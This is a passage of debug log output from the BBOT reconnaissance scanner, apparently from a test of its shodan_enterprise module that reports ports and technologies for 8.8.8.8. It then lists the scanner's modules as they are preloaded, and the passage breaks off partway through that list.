09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 09:14:02,390 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,391 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:14:02,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 09:14:02,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,393 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,394 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-03-02 09:14:02,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,395 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:14:02,395 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,397 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 09:14:02,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-02 09:14:02,399 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:14:02,399 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,400 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,400 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-03-02 09:14:02,400 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:14:02,400 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-03-02 09:14:02,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-03-02 09:14:02,401 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded +2026-03-02 09:14:02,485 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 09:14:02,486 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,486 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 09:14:02,487 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise +2026-03-02 09:14:02,489 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-03-02 09:14:02,490 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:14:02,490 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:14:02,490 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:14:02,491 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:14:02,491 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:14:02,491 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:14:02,491 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:14:02,492 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:14:02,592 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:14:02,592 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:14:02,601 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:14:02,602 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:14:02,602 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:14:02,606 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:14:02,607 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:14:02,608 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:14:02,608 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:14:02,608 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:14:02,609 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:14:02,676 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_bl3r7r3mxq completed in 0 seconds with status FINISHED +2026-03-02 09:14:02,676 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:14:02,678 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:14:02,679 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events +2026-03-02 09:14:02,679 [CRITICAL] bbot test_module_shodan_enterprise.py:69 TCP ports: ['8.8.8.8:53', '8.8.8.8:443'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:14:02,679 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {} +2026-03-02 09:15:00,032 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:15:00,040 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:15:00,040 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:15:00,041 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:15:00,042 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:15:00,042 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:15:00,043 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:15:00,043 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:15:00,044 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:15:00,044 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:15:00,045 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:15:00,045 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:15:00,047 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:15:00,048 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:15:00,048 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:15:00,049 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:15:00,049 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:15:00,050 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:15:00,050 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:15:00,051 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:15:00,052 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:15:00,052 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:15:00,053 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:15:00,053 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:15:00,054 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:15:00,054 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:15:00,055 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:15:00,056 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:15:00,056 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:15:00,057 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:15:00,057 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:15:00,058 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:15:00,061 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:15:00,062 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:15:00,062 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:15:00,064 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:15:00,064 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:15:00,065 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:15:00,065 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:15:00,066 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:15:00,067 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:15:00,068 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:15:00,069 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:15:00,069 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:15:00,070 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:15:00,071 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:15:00,072 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:15:00,072 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:15:00,073 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:15:00,073 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:15:00,074 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:15:00,074 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:15:00,075 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:15:00,075 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:15:00,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:15:00,076 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:15:00,077 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:15:00,078 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:15:00,078 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:15:00,079 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:15:00,079 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:15:00,080 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:15:00,081 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:15:00,081 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:15:00,082 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:15:00,082 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:15:00,083 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:15:00,084 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:15:00,085 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:15:00,086 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:15:00,087 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:15:00,087 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:15:00,088 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:15:00,089 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:15:00,089 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:15:00,090 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:15:00,090 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:15:00,091 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:15:00,092 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:15:00,092 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:15:00,093 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:15:00,094 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:15:00,094 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:15:00,095 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:15:00,095 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:15:00,096 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:15:00,097 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:15:00,097 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:15:00,098 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:15:00,098 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:15:00,099 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:15:00,100 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:15:00,102 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:15:00,103 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:15:00,105 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:15:00,105 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 